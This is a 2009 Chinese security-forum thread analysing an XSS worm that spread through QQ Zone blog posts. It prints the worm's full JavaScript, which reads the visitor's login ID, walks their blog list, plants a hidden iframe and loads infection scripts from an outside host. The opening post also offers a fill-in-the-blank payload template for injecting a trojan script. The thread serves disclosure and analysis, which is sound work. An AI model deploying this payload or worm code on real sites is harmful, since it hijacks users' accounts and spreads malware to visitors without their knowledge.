[原创]QQ空间出现跨站漏洞疑有木马利用此漏洞
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])文章作者:风雪残士([url=http://blog.tkbbs.com]http://blog.tkbbs.com[/url])
[b]注:本文首发[url=http://blog.tkbbs.com/article/48.htm]本人BLOG[/url],如果转载请注明作者与出处,谢谢。[/b]
前几天出现访问空间弹出广告 开始没怎么注意 后来经一位朋友说 看我一篇日志经常出现广告。 加上自己的经历。
[attach]13067[/attach]
看了下源代码 发现有个共同处 一律有 [url]http://catche.qq.com/temp/20081209/4236888.swf[/url] 这个FLASH地址(访问不了) 而重要的在后面那段标记蓝色代码 经过简单的unicode加密 解码后为
程序代码[code]this.parentNode.style.display='none';if(!window.xxr){var l=document.createElement('script');l.src='http://love.avtupian.com/a/q/mq.jpg';l.type='text/javascript';document.getElementsByTagName('head').item(0).appendChild(l);window.xxr=1}[/code]就是不知道到底是腾讯的问题 还是病毒自动提交的跨站代码 而腾讯空间有跨站漏洞是毋庸置疑的。
把http: //love.avtupian.com/a/q/mq.jpg下载过来用记事本打开 就可以发现恶意代码
空间日志特征是一个大小都为0的 FLASH 地址为 [url]http://catche.qq.com/temp/20081209/4236888.swf[/url]
只要重新编辑下 删掉FLASH 即可(不是转帖复制 手动打上去的文章也有此情况)
又访问了几位好友空间 以前发布的日志没这种情况 基本发生在最近3-4天前发布的日志 病毒代码不是每人都有
个人水平有限 无法确定究竟是腾讯空间出的问题还是病毒造成。 大量网民感染木马自动提交的一段代码
以下代码仅供测试 切勿用作非法用途[code][flash,0,0]http://随意地址/fxcs.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//木马网站地址/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash][/code]开头的FLASH 随便填 木马网站地址/a/q/mq.jpg 修正为木马路径。
搜索引擎查询
[url]http://www.baidu.com/s?tn=index88_pg&ct=0&ie=gb2312&bs=site%3A4236888.swf&sr=&z=&cl=3&f=8&wd=site%3Aqq.com+4236888.swf[/url]
[url]http://www.baidu.com/s?tn=360se_dg&ie=gb2312&bs=site%3Aqq.com+4236888.swf&sr=&z=&cl=3&f=8&wd=4236888.swf&ct=0[/url]
[url]http://www.google.cn/search?hl=zh-CN&q=4236888.swf&meta=&aq=f&oq=[/url]
由于查找不了源文件 搜索结果小的可怜 无法扩大搜索
这个漏洞应该有人早发现了 而且制作了程序实现编辑日志自动带一个 这么尾巴 由于FLASH大小为0 不注意就不会发现
mq.jpg 代码 (连接框架地址部分我修改了下 其他没变 现在网站访问不了 不知道原版是啥。。)[code]function killErrors() {return true;}
window.onerror=killErrors;
var shendu;shendu=4;
//---------------global---v------------------------------------------
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();
var gurl=document.location.href;
var gurle=gurl.indexOf("com/");
gurl=gurl.substring(0,gurle+3);
var visitorID=top.document.documentElement.outerHTML;
var cookieS=visitorID.indexOf("g_iLoginUin = ");
visitorID=visitorID.substring(cookieS+14);
cookieS=visitorID.indexOf(",");
visitorID=visitorID.substring(0,cookieS);
get_my_blog(visitorID);
DOshuamy();
function DOshuamy(){
var ssr=document.getElementById("veryTitle");
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.tkbbs.com/1.html'></iframe>");
}
//-----------------------------------------
function get_my_blog(visitorID){
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
xhr=createXMLHttpRequest();
if(xhr){
xhr.open("GET",userurl,false);
xhr.send();guest=xhr.responseText;
get_my_blogurl(guest);
}
}
function get_my_blogurl(guest){
var mybloglist=guest;
var myurls;var blogids;var blogide;
for(i=0;i<shendu;i++){
myurls=mybloglist.indexOf('selectBlog(');
if(myurls!=-1){
mybloglist=mybloglist.substring(myurls+11);
myurls=mybloglist.indexOf(')');
myblogid[i]=mybloglist.substring(0,myurls);
}else{break;}
}
get_my_testself();
}
function get_my_testself(){
for(i=0;i<myblogid.length;i++){
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random();
var xhr2=createXMLHttpRequest();
if(xhr2){
xhr2.open("GET",url,false);
xhr2.send();
guest2=xhr2.responseText;
var mycheckit=guest2.indexOf("baidu");
var mycheckmydoit=guest2.indexOf("mydoit");
if(mycheckmydoit!="-1"){
targetblogurlid=myblogid[i];
add_jsdel(visitorID,targetblogurlid,gurl);
break;
}
if(mycheckit=="-1"){
targetblogurlid=myblogid[i];
add_js(visitorID,targetblogurlid,gurl);
break;
}
}
}
}
//--------------------------------------
function createXMLHttpRequest(){
var XMLhttpObject=null;
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
else
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
for(var i=0;i<MSXML.length;i++)
{
try
{
XMLhttpObject=new ActiveXObject(MSXML[i]);
break;
}
catch (ex) {
}
}
}
return XMLhttpObject;
}
function add_js(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}
function add_jsdel(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}[/code]另请求达人解释下 这个JS文件大致意思
[[i] 本帖最后由 风雪残士 于 2009-4-26 17:11 编辑 [/i]] 存在空间日志还是其他模块都有? 目前就发现日志内容页
传播方式 应该不是木马 应该是跨站代码自动修改空间日志 提交 那段跨站代码达到传播目的
至于修改哪几篇 规律是什么 我看不懂。。。 JS代码 我太烂了
可以肯定的是 传播范围很广 [url]http://hi.baidu.com/80sec/blog/item/4da1d01a2d3892ddac6e75f0.html[/url]
[url]http://hi.baidu.com/ycosxhack/blog/item/6240ba13d256ebd8f6039e43.html[/url]
楼主可以参考 我曾说 发现这个漏洞的人 还没啥 但利用如此完美的人 完美的散播方式 简直让人赞叹了 完美的技术与商业结合。。。 一个XSS蠕虫的核心过程一般是:通过跨站引用一个JS文件,即本身;然后判断浏览器创建个XMLHttpRequest对象;再判断是否登录;如果登录则判断是否感染过;如果没感染,将自身通过跨站感染。
因为我没测试过QQ空间,对感染代码一些值、URL是干什么的都不知道,代码简单标记了下过程,有错误欢迎指出
function killErrors() {return true;}
window.onerror=killErrors;
var shendu;shendu=4;
//---------------global---v------------------------------------------
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();
var gurl=document.location.href;
var gurle=gurl.indexOf("com/");
gurl=gurl.substring(0,gurle+3);
var visitorID=top.document.documentElement.outerHTML;
var cookieS=visitorID.indexOf("g_iLoginUin = ");
visitorID=visitorID.substring(cookieS+14);
cookieS=visitorID.indexOf(",");
visitorID=visitorID.substring(0,cookieS);
get_my_blog(visitorID);
DOshuamy();
//挂马
function DOshuamy(){
var ssr=document.getElementById("veryTitle");
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.tkbbs.com/1.html'></iframe>");
}
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
function get_my_blog(visitorID){
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
if(xhr){ //成功就执行下面的
xhr.open("GET",userurl,false); //以GET方式打开定义的URL
xhr.send();guest=xhr.responseText;
get_my_blogurl(guest); //执行这个函数
}
}
//这里似乎是判断没有登录的
function get_my_blogurl(guest){
var mybloglist=guest;
var myurls;var blogids;var blogide;
for(i=0;i<shendu;i++){
myurls=mybloglist.indexOf('selectBlog('); //查找URL中“selectBlog“字符串,干什么的就不知道了
if(myurls!=-1){ //找到了就执行下面的
mybloglist=mybloglist.substring(myurls+11);
myurls=mybloglist.indexOf(')');
myblogid[i]=mybloglist.substring(0,myurls);
}else{break;}
}
get_my_testself(); //执行这个函数
}
//这里往哪跳就不知道了
function get_my_testself(){
for(i=0;i<myblogid.length;i++){ //获得blogid的值
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random();
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
if(xhr2){ //如果成功
xhr2.open("GET",url,false); //打开上面的那个url
xhr2.send();
guest2=xhr2.responseText;
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
if(mycheckmydoit!="-1"){ //返回-1则代表没找到
targetblogurlid=myblogid[i];
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
break;
}
if(mycheckit=="-1"){
targetblogurlid=myblogid[i];
add_js(visitorID,targetblogurlid,gurl); //执行它
break;
}
}
}
}
//--------------------------------------
//根据浏览器创建一个XMLHttpRequest对象
function createXMLHttpRequest(){
var XMLhttpObject=null;
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
else
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
for(var i=0;i<MSXML.length;i++)
{
try
{
XMLhttpObject=new ActiveXObject(MSXML[i]);
break;
}
catch (ex) {
}
}
}
return XMLhttpObject;
}
//这里就是感染部分了
function add_js(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}
function add_jsdel(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
} [url]http://luanx.blogbus.com/logs/38529803.html[/url]我贴博客里了 欢迎指出:lol: 截止今天早上漏洞已被TX修复 速度可真快 不过这这安全漏洞 值得思考啊
如楼上朋友所说 还是有研究价值的:lol: QQ空间出现跨站漏洞 Javascript 源代码功能分析,可在这里看到.
[url]http://xqin.cn/code/QQ_XSS_Explain.html[/url]
本人,刚在一个群里看到这个帖子,随产生兴趣.正好自己也是做js这一行的,就顺便把源代码给分析一下..
供大家参考.:lol: 弱弱的问句
关于mq.jpg的代码如何执行?
是不是2003的系统IIS会自动解析JPG里面的代码? 很明显就是XSS蠕虫
页:
[1]
